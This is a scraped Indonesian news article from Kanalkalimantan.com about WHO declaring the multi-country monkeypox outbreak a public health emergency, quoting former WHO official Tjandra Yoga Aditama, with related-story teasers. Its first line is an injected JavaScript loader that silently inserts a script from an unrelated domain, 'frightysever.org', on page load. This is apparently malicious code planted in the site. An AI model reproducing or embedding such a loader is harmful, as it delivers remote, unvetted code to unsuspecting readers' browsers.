(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, JAKARTA– Perlu kewaspadaan nasional terhadap penularan penyakit monkey pox atau cacar monyet. Hal ini setelah organisasi Kesehatan dunia (WHO) menetapkan cacar monyet sebagai darurat global!
Menyikapi hal ini, mantan direktur penyakit menular Organisasi Kesehatan Dunia (WHO) Asia Tenggara, Prof Tjandra Yoga Aditama, mengatakan perlu meningkatkan kewaspadaan nasional terhadap kemungkinan penularan antara negara dari penyakit monkey pox ini.
Tjandra mengungkapkan sejak WHO menetapkan cacar monyet sebagai Public Health Emergency of International Concern (PHEIC), atau KKMMD (kedaruratan kesehatan masyarakat yang meresahkan dunia), terkandung empat aspek dalam istilah tersebut.
Pertama, harus secara formal dideklarasikan oleh WHO, ke dua merupakan kejadian luar biasa, ke tiga, menimbulkan risiko kesehatan masyarakat karena penularan antar bangsa dan ke empat dapat memerlukan koordinasi penanganan secara internasional.
Baca juga : 563 Pelari Ramaikan “Navy Run” 2022 Lanal Kotabaru
Dalam menetapkan PHEIC/KKMMD maka Direktur Jenderal (Dirjen) WHO membentuk Komite Kedaruratan atau “Emergency Committee.”
“Perlu diketahui bahwa yang dideklarasikan sebagai PHEIC/KKMMD bukanlah semata-mata penyakitnya, karena Monkey Pox memang sudah ada sejak tahun 1958, tidak seperti COVID-19 yang memang penyakit benar-benar baru. Yang kemarin dinyatakan sebagai PHEIC/KKMMD adalah ‘multi-country outbreak of monkeypox’, jadi karena ada di beberapa negara dengan spesifikasinya,” ujar Tjandra.
Yang menarik, biasanya anggota “Emergency Committee” sepakat untuk menyatakan suatu kejadian adalah PHEIC/KKMMD atau tidak, lalu Dirjen WHO meresmikannya.
“Untuk yang kali ini, para anggota “Emergency Committee” sudah bertemu dua kali dan belum juga sepakat, tetapi karena kompleksitas masalahnya maka Dirjen WHO kemarin menyatakannya sebagai PHEIC/KKMMD,” kata dia.
Tjandra mengatakan pernyataan suatu penyakit atau keadaan sebagai PHEIC/KKMMD maka tentu tidak atau belum tentu adalah pandemi. Beberapa Deklarasi PHEIC/KKMMD selama ini tidaklah menjadi pandemi, seperti Zika, Polio dan Ebola.(Kanalkalimantan.com/suara)
Editor : cell
KANALKALIMANTAN.COM, BANJARBARU – Menjadikan Kota Banjarbaru sebagai kota metropolitan di Provinsi Kalimantan Selatan (Kalsel) masuk… Read More
KANALKALIMANTAN.COM, AMUNTAI - Lomba balogo meramaikan rangkaian Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU).… Read More
KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur membuka Sosialisasi dan Rapat Koordinasi (Rakor) Penyelenggaraan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Setiap tahunnya, pemerintah daerah dan pusat berupaya untuk meningkatkan akses terhadap air… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru memfasilitasi masyarakat nonton bareng memberikan dukungan kepada Tim Nasional… Read More
KANALKALIMANTAN.COM, RANTAU - Dinas Koperasi UKM Perindustrian dan Perdagangan (Diskoperindag) Kabupaten Hulu Sungai Utara (HSU)… Read More
This website uses cookies.